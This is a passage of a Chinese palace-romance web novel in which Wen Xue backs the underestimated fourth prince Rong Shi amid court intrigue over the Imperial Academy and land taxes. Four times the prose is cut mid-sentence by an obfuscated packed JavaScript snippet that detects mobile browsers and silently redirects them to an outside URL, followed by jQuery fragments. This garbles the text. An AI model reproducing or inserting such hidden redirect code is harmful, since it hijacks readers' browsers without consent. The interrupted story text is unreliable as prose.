他忽然间意识到,如若哪一天,她要出嫁给别人,或是她遇上什么困境,他竟是一点保不住她……无力感、恐惧感,如同群蚁在心上爬过,汹涌而至,弥漫全身。
不知不觉间,就已听从本心,站在太后面前。
“皇奶奶。”
对于容适的到来,太后很是欢喜。
要知道,哪怕她与容适相处这么久,容适也极少与她交流。
“子安今日可是有事相求?尽管说,皇奶奶一定帮。”
“孙儿想……去太学。”
此话一出,太后和殿上的丫鬟奴才都愣住了。
待到反应过来,太后顿时喜出望外。
“好好好,子安想去太学,那可真是太好了!”
太后属实没有想到,这个温雪的存在能让子安产生如此巨大的改变。
看来她当真是没有选错人!
紧接着,她似是想到了什么。
“子安,可是与温家千金交往甚密?”
容适愣了下,未曾想太后会问这个,思索片刻,他从未与什么人交好过,与温雪……自是称得上一身“甚密”的。
“是……”他回答。
“好好好,”太后喜上眉梢,“你可有迎娶温雪的想法?”
容适一惊,瞳孔微缩,震颤了两下。太后这一句话似乎带着回声,在耳边不断萦绕反复。
娶,娶她……?
他竟从未产生这样的想法,因为他从未想过自己可以与一个普通人一样和一个人相伴一生。
可是……
他想到了什么,刚才听到这句话的悸动又按捺了下去。
他略微哑声开口:“子安暂未有如此打算。”
太后听闻他的回答,也觉得一惊。容适的性子,若不是真心爱慕温家千金,又如何会做出这么多的举措来。她几乎敢笃定,容适是对那温雪有意。
原本她想着,若是往后她不在了,有温雪这样一个聪慧伶俐的人陪伴在他身边,也是一件好事。若是容适答应了,那她无论如何要帮容适促成这门婚事。
可未想到,他竟然拒绝了。
太后叹了口气,问道:“为何?”
容适沉思片刻,“温雪她……很好,非常好。”
她是他见过这世间最美好的女子。
“是我不好。”是现在的他,还配不上她……
如若有朝一日,他可以心安理得地站在她的身边,那他必然不会再放手了……
16. 第 16 章
容适要入太学一事,竟在达官贵人的公子口中传了开来。
众人一向不看好四皇子,自然也对此事颇有微词,例如:“太学真是什么人都收?”
或是嘲笑:“这下上课便有意思了许多。”
这一事自然也传入了二皇子耳中。
慈宁宫。
一身上好锦缎衣袍的男子踏入宫中,金色刺绣的衣摆一扬,一只脚愤愤不平地踏入慈宁宫内殿。
太后缓缓抬起阖着的眼睑,淡淡给了来人一个眼神。来人正是二皇子容治。
“老二此番来寻哀家有何事?”
这漠然的语气传入容治耳中。容治忍不住冷哼一声,压下心中无边怨气,语调幽幽,偷着一股子阴阳怪气。
“听闻祖母应了四弟的要求助他进入太学,还想助四弟与温家说媒?”
太后登时有些心惊,她与子安在殿中说的三言两语,竟如此之快就传入了这老二耳中。若说是太学一事也就罢了,很快便人尽皆知,可子安与温家一事,应当从未与人提起。
若是如此轻易被他知晓,那这慈宁宫中……怕是早就布下了他的眼线。可如今她已年过七旬,早已无力管理宫中之事,力保子安已是她能做的极限,万不可与这心机深沉的老二作对。
思虑一番,太后压下心中愕然,面上不显半分,只淡淡道:“确有此事。”
二皇子听闻,竟是不甘地笑了两声:“皇祖母还真是偏心。有时,我真是羡慕嫉妒这两位哥哥弟弟。”
“何出此言?”
“皇祖母何必明知故问。我这大哥出生好,生来便可享有太子之位,即使资质平庸,自小不如我,可仍有皇后疼爱,皇上庇护;四弟则天生痴傻呆愣,却也得了皇祖母照拂。如今,我想求娶温家温雪,祖母怕不是也要来掺一脚。”
他越说越发眼神狠厉,语气凶狠。
太后眉头皱起,她一向知道老二颇有心机,可未曾想,他心中竟有如此想法,却从未吐露过半分。
“子辰,”太后久违地唤了一声他的字,“在这深宫之中,没有人可以事事由自己做主,你已经比许多人幸运,不要陷入执念,执念太深,终究会无法自拔,自食其果。”
容治掩下心中情绪,漫不经心地行了个礼。
“皇祖母说的,儿臣记住了。不叨扰祖母休息,儿臣先退下了。”
“去吧。”
太后看着容治转身离去的背影,合眼叹了口气。不知她的劝诫,他听进去几分。
想起他刚刚在耳边所言,太后揉了揉额角,只觉得头疼。
太子的确自小在朝政治理方面资质平庸,喜好一些风雅之事,却被迫身居高位,被多双眼睛盯着,想追求山高海阔却终身不得自由。
老四年幼起便天生异于常人,没娘疼没爹哎,饱受这些所谓的皇兄欺凌,艰难长大,若没有她的庇佑,怕是都活不到如今的年纪。
而这老二,生母是皇帝的爱妃,自小得父母宠爱,令他能娇纵长大,虽得不到太子之位,却也能快活肆意地过一生,为人臣,或是自由娇纵一生,他都有得选。可他似乎,并不理解。
离开慈宁宫后,容治脚步加快,背在身后的手拳头越发紧握,攥出了一道青筋。
呵,与这老太婆说话,真是自讨没趣。什么执念太深,他不过是想要得到自己想要的,又有什么错?大哥稳坐太子之位,他便用计夺过来;四弟想要温家温雪,他便也设法抢过来……能抢到手的事物,为何要让与他人?
*
日头尚好,金光懒洋洋地洒在温雪的院子里头。
温雪迎着暖阳走出院子散步。
刚出门,便遇上了哥哥温珩。
“哥哥。”温雪笑着打了声招呼,却见温珩不语,手中拿着一个木质雕花的盒子,便走上前来。
温雪好奇看了一眼,“哥哥手中的为何物?”
温珩微微叹气,将盒子递了过去。温雪接过,打开一瞧,是一枚上好的翡翠玉佩,在阳光下通透发亮。
“这是哥哥送我的?”
温珩摇头,“非也,这是我在宫中‘偶遇’二皇子,他硬要塞给我的,说是……要赠与温小姐,以表他的一番心意。”
“……”温雪登时无言。
这段时日,二皇子的确是明里暗里献殷勤,可是温雪并不觉得他是因着对自己有好感才如此做。
“哥哥,这你也好意思收吗?不该给人家还回去?”
温珩道:“二皇子说,‘若是这礼未送到温小姐手中,那我便继续送,送到温小姐收下为之’,莫非妹妹你也想此事闹得满城风雨?往后谁敢与皇家抢人呢?”
温雪扶额,再次无言以对。
真是不知此事是如何发展成这般的,上一世可并未有二皇子求娶一事。
她想起此前哥哥与父亲在书房中的谈话,似乎就涉及了二皇子。
温雪正色道:“哥哥,你如实告诉我,我们家可与二皇子有过联系,或者说,在朝堂政事上可有牵扯?”
温珩听她问出这般问题,也收起了吊儿郎当的笑,有些严肃。
“你怎的关心起这些事来了。”
温雪:“哥哥,我如今年纪也已经不小了,况且,我们是荣辱与共的一家人,不是吗?此前二皇子偷偷将我带去问话,他虽有意隐瞒,但我已猜到了。”
温珩沉默了一瞬道:“朝堂之事何其复杂……罢了,你也该知道一些事了。”
他思索片刻,将所有错综复杂的事件简化后告知温雪:
“这些年来,因着太子生性放纵,不少朝堂官员已被二皇子收入麾下,二皇子党势力日益壮大,朝堂纷争不断,而我们温家是少数仍未明确表态的中立派,近几个月,二皇子党羽正在不断逼迫爹爹站队,替二皇子办事。”
温雪的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453229|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爹爹温廷乃是吏部尚书,乃六部之首,管理各朝臣官职的任免选举,手中的权力任谁看了都眼馋。二皇子想要收归温家也是情理之中。
温雪大致明白了,为何二皇子对自己虎视眈眈,原先她以为是与容适有关,如今看来是收服不了爹爹,这才又想从自己下手。
“如今爹爹是何态度?”温雪有些担忧。
若是爹爹顶不住压力,怕是结局就会如同上一世一样,未来跟二皇子一般,都没有好下场。
温珩道:“爹爹自然是不愿掺合进此等纷争,可若是他迟迟不表态,怕是你我都要成为威胁爹爹的工具。”
温雪心一凉,抓住温珩的袖子:“哥哥,能否让爹爹再撑一撑。”
“背后无人倚靠,可如何撑?”温珩无奈。
温雪:“那便寻一个倚靠。”
“说的轻巧,太子与二皇子的党羽,哪个是好相与的,其他人又不中用……”
“选容适。”温雪看着温珩,目光坚定地又强调了一次,“哥哥,选容适。”
温珩被她的话一噎,不可置信:“这……你怕是烧糊涂了不成?谁人不知,容适是个不成器的痴儿,就算是你……心悦于他,你也不能如此拿朝政之事来说笑啊。”
温雪仍然是坚定道:“哥哥,你信我,若你了解他,就绝不会与世人一般,认为他是个不成器的痴儿。”
温珩看着她执着的模样,叹了口气:“好,我会记得你的话,好好与爹爹商议。”
对于妹妹说的话,他纵然听进去了,也并未认真在心上考虑。
无妨,听闻那四皇子容适即将入太学,他们在太学中一见便知他究竟是怎么样的人。
*
新的一学年开启,本期太学年考即将开始。
虽说有科举选拔制度从民间甄选入学子弟,可真正能顺利进入太学并谋得一官半职的,大多为高官子弟。
容适是第一次入太学,却因身份尊贵,直接安排入学与同门师兄弟一同参与本次年考。
这一日天气清朗,风清气爽。
温雪在太学门口附近的一家茶馆里坐下了,看着太学门口的方向,不知已经喝了几盏茶。
直到第三壶茶下肚,温雪才见到太学的学生纷纷走出了考场。
温雪刚想趴到茶楼的阁楼栏杆上找容适的身影,就见哥哥先走了出来,与身边的公子打着招呼。
温雪趴在栏杆上,只露出一个脑袋,眨巴眨巴眼睛,看着哥哥与人谈笑风生间走远了。
紧跟着走了一大批人后,容适的身影才出现在了门口。他刚走出大门,便有两位公子拦住他的去路,似乎是对他出言嘲讽了几句。
容适垂眸不语,二人兀自嘲讽完,留下容适独自留在原地默不作声。
温雪心中酸涩,探出了身子朝他挥了挥手。容适抬眸看过来,目光瞬间捕捉到温雪的身影,顿时眸光闪烁。
17. 第 17 章
二人在茶楼里坐下,容适有些不自在地拿起茶抿了一口。温雪已然喝不下了,只静静看着他。
“今日考得如何?”温雪好奇道。
太学主修四书五经,朝政理论居多,但也会考些实务课程,例如历法、水利、算术等,但比不上经学的地位。
温雪知道容适看书看得多,且聪慧无比,过目不忘,尤其那些实务类的书籍,他尤为爱读,因此考这方面的考试她一点也不担心。只是太学更看重四书五经,这些类型的书容适并不如何喜欢,温雪也不知他看了多少,记住了多少。
谁知,容适只是淡淡道:“尚可。”
“尚可是合意,是难还是易?”温雪又好奇追问。
他想了想道:“无甚变通,略微死板,只需看过书便能作答。”
温雪嘴唇轻启,没说上话来,他这般说,那对他便是很轻松了,不知其他人听到了是作何感受?那些勤学苦读仍学不好的学子们怕是要叫他气死。
温雪还是笑了笑,“我就知道,我们子安最是聪慧。”
容适端着茶杯的手一顿,见她眼眸清澈如水,满是自己的身影,登时红了脸,耳根子也跟着热了起来。
方才他还因被其他弟子耻笑和嘲讽的郁结,登时在她面前消散得干干净净。
能得她这样一句赞许,他便一点也不后悔自己做出进入太学的决定。
对于此次太学年考,容适并未说谎,对他来说,那些内容……的确是无趣得很。若非为了往后能堂堂正正站到她身边,他绝不会想进入太学……
*
太学学堂。
这一日乃是太学开学之日,一大清早,学子们便已经在学案前坐得端正。
太学授课的先生拿着一份卷宗走到书案前,打开卷案,轻咳两声。
“今日公布各位年考名次。”
此话一出,昏昏欲睡的众学子纷纷侧耳倾听。按往常的考学成绩,这第一的名号都是翰林学士家的小公子——宋青臣所得。这次恐怕也不会意外。
“今年的年考第一的是……”先生看到卷案上的名字,似乎也是微微一愣,紧接着道:“是,四皇子殿下容适。”
话音刚落,众人露出惊愕的表情,一片哗然,面面相觑。
“这怎么可能……”
“怎么会是他……”
不可思议的目光纷纷落到正坐在角落的容适身上。容适正垂眸,静静听着众人议论纷纷,却默不作声。
他感受着这些在他身上飘忽来去、令人不适的视线,放在膝上的双手揪住了袍子的布料,紧紧攥了拳头。
忍住……要忍住。
他在心中告诫自己,这一次,面对众人的目光与议论,他绝不能退缩。不知为何,脑海中浮现了温雪看着他笑意盈盈的模样。他的心忽然就安定下来,不舒适感驱散了许多。
他觉得自己有病,可她却是他心中的良药……
此时,一名学子站了起来,对先生鞠了一礼道:“先生,四皇子殿下初来乍到,竟能直接考至榜首,此事令我等匪夷所思,可否将殿下的考卷呈给大家一看,也好令众学子心服口服。”
这话说得委婉,可摆明了意有所指,指出容适的考卷有蹊跷,众人并不信服。
这叫先生为了难,这学堂上坐着的,家中父母辈无一不是有个一官半职的,哪个也得罪不起,这叫他一个读书先生如何是好?
他看向容适,眼中带着恳求:“四殿下,您可愿将考卷呈给众学子们一瞧?”
容适因攥紧衣袍而微微颤抖的手放松下来,他平静地抬眸望向先生与众学子。
“无妨。”对他来说,都是些无聊的考题罢了,不仅考得浅显,对江山社稷也没有什么大用处,这没有什么所谓。
听到他应下,先生总算松了一口气,让人将容适的答题卷纸呈了上来。
先是落到了那位最先质疑容适的学子手上,他打开答卷粗粗瞧了瞧,错愕、惊愣的表情涌上他的脸。
“这……”他一时间说不出话,一下子令众人好奇起来,纷纷上前询问:“他作答得如何?”
方才眼中满是质疑的学子瞬间目光游移,熄了声,将答卷递给了其他学子。众人围上来纷纷传阅阅读。
温珩虽未表态,却也在好奇容适的才学究竟是何水平。当答卷传阅至他手中时,他只翻阅了几页,心中便掀起惊涛骇浪。
只见答卷字迹清秀工整,无一错漏之字,内容
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453230|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
读来也如行云流水一般,字字珠玑,引经据典,恰到好处。这也就罢了,天启崇文,太学子弟谁人不是熟读文史经书,可众学子并不重视也不擅长的理学科目,容适竟也是全部作答精准,且测算之法比先生课上教授得还要精简快速。
这简直……不是与他们一个水平。可容适比他们还要年纪更轻,而且还是首次进入太学,这说明容适此前独自自学,就已经远超他们的水平。
可这里的学子竟然大多都嘲笑过他……
真是讽刺。
温珩按捺下心中惊讶,摇了摇头,将答卷传阅给其他公子。
怪不得,怪不得妹妹如此看重四皇子,屡屡替四皇子说话,看来是他们有眼无珠了。直到此时,他才真正将妹妹当时说的话放在心上,开始考量朝政之事……
众人阅完容适的答卷便再次七嘴八舌议论纷纷,这一上午竟是要过去了。先生也未曾阻止他们,任凭他们谈论此次的年考考题。
唯有容适独自在角落里默默翻出一本书翻阅着,仿佛他们的争论与他无关。
直至温珩站在他的书案前,向他行了一个礼。
“见过四皇子殿下。”
容适抬头,见来人是温雪的兄长,他微微有些局促地站了起来,不自在地回礼。
“温公子不必多礼。”
温珩这才放松下来,眼含赞叹,叫容适颇有些……不习惯。
“四殿下学富五车,才高八斗,令人佩服。”温珩客套道。
容适:“……”张了张嘴,又觉得无言以对。
下学之后,温雪在太学门口转悠,见温珩与容适竟然是一同同行出来的,吃惊了一会儿,躲在一旁看二人谈论。
哦不,应说是哥哥单方面谈论。
“四殿下,若是在太学有需要帮衬之处,只管寻我。”
“四殿下与我家妹妹温雪交好,那我也算是四殿下半个兄长了,无需如此客气……”
一旁偷听的温雪:“……”
想到上次与哥哥说过的话,又见如今哥哥这般讨巧的模样,心中啧啧感叹。
想不到哥哥竟然是这样一个……会套近乎的!
竟是连半个兄长这样的话,也说得出口!
18. 第 18 章
“红尘一骑妃子笑,无人知是荔枝来。这一词便是出自樊川居士的《过华清宫》……”
太学学子聚在一起,又开始讨论些附庸风雅的辞藻。这是他们惯常的娱乐活动。
不过这次,他们不是为了谈论诗词歌赋,而是为了与容适搭上话。
此前太学年考一事,令众人对这传说中的四皇子有些刮目相看。一开始也有人觉得不可置信,怀疑这考学成绩并非容适的真实水平,可转念一想,又并不觉得了。
容适虽身份是尊贵的皇子,可除了太后护着外,不受任何人器重,上有太子爷,再不济还有二皇子。为了一个四皇子,太学如此明目张胆地徇私舞弊,实属没有必要。
这些公子哥虽自小对官场的弯弯绕绕耳濡目染,但毕竟年轻,还未真正从政,本性还不至于太坏。
于是,他们越发对容适好奇起来。
比如此刻,他们便拉上了容适,加入他们的娱乐活动。
说完这首诗词,便回头问容适:“不知四殿下对这首诗是何解读?”
容适这才放下手中的书,抬眸淡淡道:“那华清宫乃是冬宫,先帝去冬宫温泉,可荔枝生产于七八月,如何去得那华清宫?这些先人,可尽是胡说。”
问话那学子登时一噎,万万没想到,他竟然是这般回答……
尴尬地笑了笑:“真不愧是四殿下……解读也是如此与众不同。”
“与众不同吗?”容适忽然问。
那人又挠了挠头,犹豫道:“是有些……与众不同。”
容适收回目光,沉默思索。
原来这般便是与众不同了。
在学堂里,他已经尽量与众人保持一致,可有时还是无法面面俱到。
一直到黄昏,众学子下了学堂。
温雪又恰好出现在太学门外一旁的角落。
温珩和容适一同走出太学,走到无人的拐角,温雪便迎了上来。
“哥哥!子安!”
温珩抱着胳膊,一脸促狭:“妹妹日日来接我下学,当真是令哥哥我感动啊。”
被他打趣得多了,温雪的脸皮竟也是厚了起来:“那是自然,哥哥不在府中,我实在是无聊得紧,所以才日日来寻哥哥呀。”
温珩轻嗤一声,“得了吧,我还不知道你这点花花肠子?你们二人去玩吧,我便不掺和了,不过要记着,你还是个未出阁的女子,可别太过招摇,早些回府!”
要不是温雪虽然从小生性活泼爱玩,但知礼仪知分寸,出去玩总是能乖乖回家,他才不会放任自家妹妹和别的男子出去呢。
哪怕这人如今已是他认可的皇子。
“放心吧哥哥,你还不了解我吗?”温雪笑着讨巧道。
温珩离去,只剩下温雪与容适二人,容适这才拿出一本书册来,交给温雪。
“这是你喜欢的书,我给你带来了。”
温雪笑嘻嘻地接过。
太学的藏书阁不得出借书册,以往还得她偷偷进太学去看书,如今竟有人胆大包天地帮她偷书了!
“子安真是太好啦!”温雪欣喜地夸赞。
她欢喜的模样落入容适的眼中,也带着他的眸光沾染上了欢喜。
容适心想,与众不同又如何?她在他的眼中,也是与众不同的……
*
又是一个年过去。
天启迎来一个新的冬天,瑞雪纷纷扬扬地落满整个京都城,据说是预示着吉兆。
可温雪却再也不信什么吉兆。
她今年已经十七了,上一世她便是在十八岁这一年的冬天,家中惨遭变故。那年的大雪下得那般大,也曾被人称作是吉兆。
天启的百姓都在一片欢天喜地之中过新年,可温雪却有些高兴不起来。
是夜,与家人们吃完年夜饭,爹娘想早些休息,哥哥则与人吃酒去了,她便在房中趴在窗棂上看夜色,只是因着连下了几天雪,天有些冷,便是连月光也没有了。
墙外有些热闹的喧哗声传入院中,更觉府中有些凄凉。怀秋过来给她加了件衣裳,便也退下去休息了。
突然,屋外后院一声响动,传来一声猫叫。
这熟悉的动静。
温雪心中一喜:“子安,是你吗?”
她低声轻唤,果不其然,容适抱着雪球出现了。
“你怎知是我……”容适有些不好意思,不过乍一想,曾经他也如此翻过温雪院内的墙头,只不过被她一逗,便不好意思地跑了。
可如今,他却是胆子大了许多。
温雪让他绕道前院来,欢喜地跑了出门。
容适将雪球放下,又从一旁拿出一袋东西。
“这是何物?”温雪好奇。
容适拿出来一支支花筒和火枝来,但又似乎与传统的花筒和火枝长得不太一样,更加细一些。
容适道:“这些都是我自己做的,不知能否成功。”
温雪顿时神采飞扬:“那我们试一试。”
庭院里的雪还未扫,厚厚地积累了一片,温雪拿了一支火枝插在了地里,用火折子点燃,然后拉着容适躲到一旁。
只听“咻”地一声,烟火从火枝内窜了出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453231|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,灿如流星。
温雪站起来,拍手叫好:“成功了!”
容适看着她兴奋的模样,情不自禁地嘴角扬起。
接着温雪便将其他的火枝都拿出来,在雪地上插满了一排,然后拉着容适一个个点燃。
一支支流星般的烟火飞升而起,如同开了一朵朵璀璨的花,映得雪地透亮,也映亮了温雪的瞳眸。
恰好此时,院墙外,一道真正的烟火火光亮起,窜到暗色的夜空之中,猛然炸开,落下璀璨星火。
好一个火树银花不夜天。
温雪和容适二人直接坐在雪地上,二人之间隔了一拳的距离,抬头看夜空中的烟火。
“雪儿。”容适道:“我如今,也能在朝堂之上说得上话了。”
“我知道,我们子安最是聪慧,过去那些人不知道子安的好。”
“嗯……”容适低低应了一声。然而,他想说的不是这个,他是想问,若是如今这样的他,她是否愿意与他并肩而行?
他是否能……站在她的身边了?
然而温雪想的不是这些。
这些时日,她始终在思虑温家的未来,以及如今的容适,是不是能真正成为温家的依靠,足以让温家从这场无声的战争之中活下来。
温雪沉声问:“子安,你可曾想过,未来想做些什么?”
容适想了想答:“未来……皇兄坐上皇位后,我便辅佐皇兄身侧。”
只是不知道,她是否能满意这样的他。
谁知,温雪问了一个十分大胆的问题:
“那你可想过,坐最高的那个位置?”
容适暗暗心惊了一下,看向温雪闪烁的目光,他平静地问:“这是你希望的吗?”
若是她想,那他去做便是了。
温雪轻松地笑了笑,仿佛没有问出刚才那个问题。
“我只是随便问问,好奇一下嘛……你知道的,我一向胆大包天好奇心重啦。”
说实话,她虽让哥哥与父亲扶持容适,不要和二皇子为伍,但她也无法确定容适是何时会萌生想要坐上皇位这一想法。
上一世,她入宫之时,容适便已经一心求皇位了。
奇怪的是,即使坐上皇位之后,他与太子的关系似乎仍是不错。
如今想来,应是后来又发生了什么,这皇位才会到了容适身上。
她状似无意地试探,又想打过圆场去,可如今容适也学会了察言观色、听人的话外之意,他莫名觉得,温雪刚才是格外认真的。
他还是想,若是她想要……那他去做便是了。
19. 第 19 章
年后开春,万物复苏。
桃花也含苞待放,天启各城都洋溢着出暖花开时节的安宁与喜悦。
可朝堂之上却永无和谐安宁之日。
大殿皇位之上,约年过半旬,身着金丝黄袍的男子,正是当今天启皇帝。
大殿朝堂上,群臣手捧奏章,局促拘礼。
皇帝俯视群臣,眉宇威严,怒地摔出一叠奏章。
“这些地主商户隐匿田产,躲避赋税,导致税负不均,国库空虚!真是反了!”
皇帝发完威,又转头和声问道:“各位爱卿可有两全之法?”
顿时朝臣之间小声议论纷纷。
可商议半天,都无人商讨出个结果。
皇帝有些不耐烦之时,容适却忽然开口,群臣瞬间安静。
“儿臣有一法。”容适上前,呈上一本奏折文书。
“儿臣有一最新的土地丈量法,推行此法,再辅以鱼鳞图册记载土地面积,以下至上,可大大提高清丈之效,精准征税。”
皇帝翻看了文书,里面详尽记载了土地面积丈量和推演之法,以此计算税收,对比了此前的土地管理法,其准确率大大提高。
他顿时喜上眉梢,赞赏地看了一眼容适。
他从没想过,自己早就丢在深宫后院不管的儿子,竟然还有这样的智慧和本事。
可惜是个上不得台面的。不过正好,以此来激一激一向不务正业的太子,再打压一下风头过剩的老二。
一箭双雕,两全其美。
他赞许道:“老四这法子的确不错。”
话音刚落,一直沉默的二皇子容治,暗中瞥了一眼三司使。
二人一个悄然对视,三司使立刻心领神会。
三司使道:“陛下,此法若要推行,须得各县各地一一清丈,此等工程量,怕是耗时耗力,最终适得其反……”
他洋洋洒洒一通反对,却被皇帝厉声打断。
“爱卿的顾虑朕理解,可土地征收一事是当务之急,必须尽快解决。此案就这么定了!尽快依老四的法子推行下去,三月之内,朕要立刻见到成效!”
皇帝起身,“就此退朝。”
说完,他转身离去,不再给群臣说话的机会。
群臣也跟着纷纷退下。容治路过容适时,侧目看他一眼,眼神阴狠冷厉,随即挪开目光,冷哼一声走出大殿。
容适未理会他,自顾自走出殿门。
走至一半,却被温廷拦住。
“老臣见过四殿下。”
容适抬头见来人是温雪的父亲,立刻局促行礼:“尚书大人无需多礼。”
他们二人在朝堂上时常会面,已有些相熟。
温廷将容适当皇子看待,容适却是将温廷看作是自己未来的……老丈人。
因此容适格外听温廷教诲。
此刻,温廷似乎有些忧虑。
容适先开口:“尚书大人,可是对土地清丈一事有所顾虑。”
温廷叹了一口气。
“四殿下可知,三司使为何会反对清丈一事?”
容适大概心中有数,但还是道:“尚书大人但说无妨。”
温廷便道:
“三司使掌管财政税收,而这三司使如今乃是二皇子殿下的人,隐匿田产的税收不知被克扣多少,也不知究竟进了多少人的口袋。如今这新策若是动了三司的利益,那恐怕也是动了二皇子的利益……”
后面的话温廷没再说下去,他已经说得十分清楚了。
容适垂眸,他如今已经逐渐习惯立于朝堂之上,自然也大致知晓其中的弯弯绕绕。
可……他若是什么也不说,什么也不做,那便是与砧板上任人宰割的鱼无异。
他向温廷鞠了一礼:“多谢温大人指点。”
温廷赶忙阻止他:“四殿下多礼,老臣担待不起……”
温廷与他说这么多,一方面是因为家中温珩与温雪的话,另一方面,温家确实受制于二皇子党派的威胁,急需寻一位靠山。
四殿下容适从入太学,到进入朝堂,前后算起来不到一年时间,温廷已经从他身上看见了无穷的潜力。
因此,这般明里暗里支持四殿下,也是他多方权衡后的结果。
只是,如今皇帝始终态度不明,似乎重用二皇子和四皇子,可也一直留着太子殿下的位置。今日又发生这样的局面,他们往后的日子,怕是要更不好过了……
下了朝,容适就来了慈宁宫。
太后已经听闻朝堂之上的纷争,对于容适在朝堂之上的表现,她很是欣慰,容适的成长已经远超她的预期了。
“子安如今也是成才了。”
容适有些不好意思,“皇奶奶过誉了……”
太后笑笑,话锋一转,“子安如今可还惦记着温家千金温雪?”
容适猛地瞳孔一颤,“皇奶奶……”
太后紧接着笑笑道:“儿女情长,人之本性,没什么不好意思的,你若当真心仪温雪,皇奶奶便替你做了主。”
容适按捺下心中悸动,冷静道:“子安想先问过她,若她同意,便求皇奶奶做主。”
“好。”太后应下。
她没有说,她如此期望容适能够成婚,是因着她觉得自己已然时日无多,能见到他身边有一知心之人相伴,那她便也能放心了……
*
尚书府,温家,书房。
温廷坐在桌案前,温珩与温雪站在一侧。
上一世,温雪从不参与父兄之间有关朝廷政事的讨论,可如今,父兄商议政事,也会主动喊上她了。
“今日朝堂之上,四殿下提出土地测量清丈之法,的确颇有才干。”
温廷忍不住夸赞,可又十分担忧。
“只是三司使当场阻挠,这怕是已经极大地撼动了二皇子殿下的摇钱树,四殿下之后的日子怕是要不好过了。”
温雪道:“眼下局面,若子安始终以退为进,待二皇子羽翼丰满,其他人怕是更要奈何不了他了。”
温雪对容适的策略并不担忧,她担忧的是,他们只知二皇子城府心机颇深,却不知他的心性究竟如何,能为谋权势做到何种地步。
温雪思索一番,“哥哥,二皇子殿下不希望更正税收,多半是为了敛财,对吗?”
温珩点头,“八成是,而且恐怕这税收差额还不小。”
温雪困惑:“那我便不懂了。若是官员因着俸禄少,为中饱私囊从税收中谋利,倒也还说得过去,可二皇子殿下如此敛财,又是为什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453232|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他堂堂一个皇子,有权有势,何须大费周章敛财?
谁人敛财,敛多少财,其中说法尽不相同。
一个普通官员若是敛财,或许会认为他只是视财如命;可若是一个将军、一个侯爵、一个贪权之人敛财,那便大有说法。
一个大胆的猜想从温雪脑子生出,可她却不敢细想。
温珩显然也想到了:“可二皇子殿下怎么说也是皇子,怎么可能做出反叛之事!”
温廷严肃了起来,“若我没记错,二皇子殿下的生母,婉妃娘娘的表兄,乃是当今定北侯。”
定北侯如今在与北辽交界一带的封地镇守,手握抵御北辽的一大兵权。
可惜天启崇文,定北侯的封地又天高地远,定北侯一向在朝中不受重视。
若他们真有反叛之意,那么招兵买马、粮草武器,都是巨大的开支。
越细想,便越觉得脊背发凉。
温珩摇摇头,“这些都只是无端猜测与联想,没有证据,做不得数的。”
温雪也点点头,他们还需要更多证据,判断二皇子究竟是什么想法。
正当他们猜测之时,下人来报。
“大人,公子,小姐。四殿下来了。”
温珩冲温雪摆摆手,“定是来寻小妹的,快去见人吧。”
温雪对容适的心思,在父兄二人这早已是昭然若揭。
方才商议政事的肃穆瞬间消散,温雪羞恼地嗔怪了一声,提起裙子转身小跑了出去。
温珩笑笑道:“不知为何,这一年来,妹妹似乎愈发心思深沉了,也就面对四殿下时还能露出小女儿家的作态来。”
温廷无奈:“雪儿早慧,是为咱们家担忧。为了雪儿,我们也要想办法保住四殿下,保住温家。”
温珩听闻,坚定地点点头。
尚书府中心庭院。
温雪见到容适背对着站着的身影,心中一喜,笑弯了眉眼奔上前。
“子安,你怎么来了?”
容适转过身来,有些不太敢看她,双手也局促地不知往哪摆放。
温雪瞧出了他的不对劲,笑道:“你这是怎么了?”
怎么好像……耳尖都有些红了?
温雪奇怪地侧头,想看他的耳尖。
这一年来,他个头莫名窜高了不少,一下子就比她高出了好一截,她想看他耳尖,踮脚都要看不见了。
除了个头之外,他与温雪初遇时的少年青涩感也减轻了好几分。依然不变的是,他面对温雪时,还是容易害羞,尤其在温雪逗他之时。
比如此刻。
温雪笑吟吟:“让我瞧瞧,是子安的耳朵红,还是那刚开的桃花红?”
容适被她一逗,更是觉着坐立难安了。
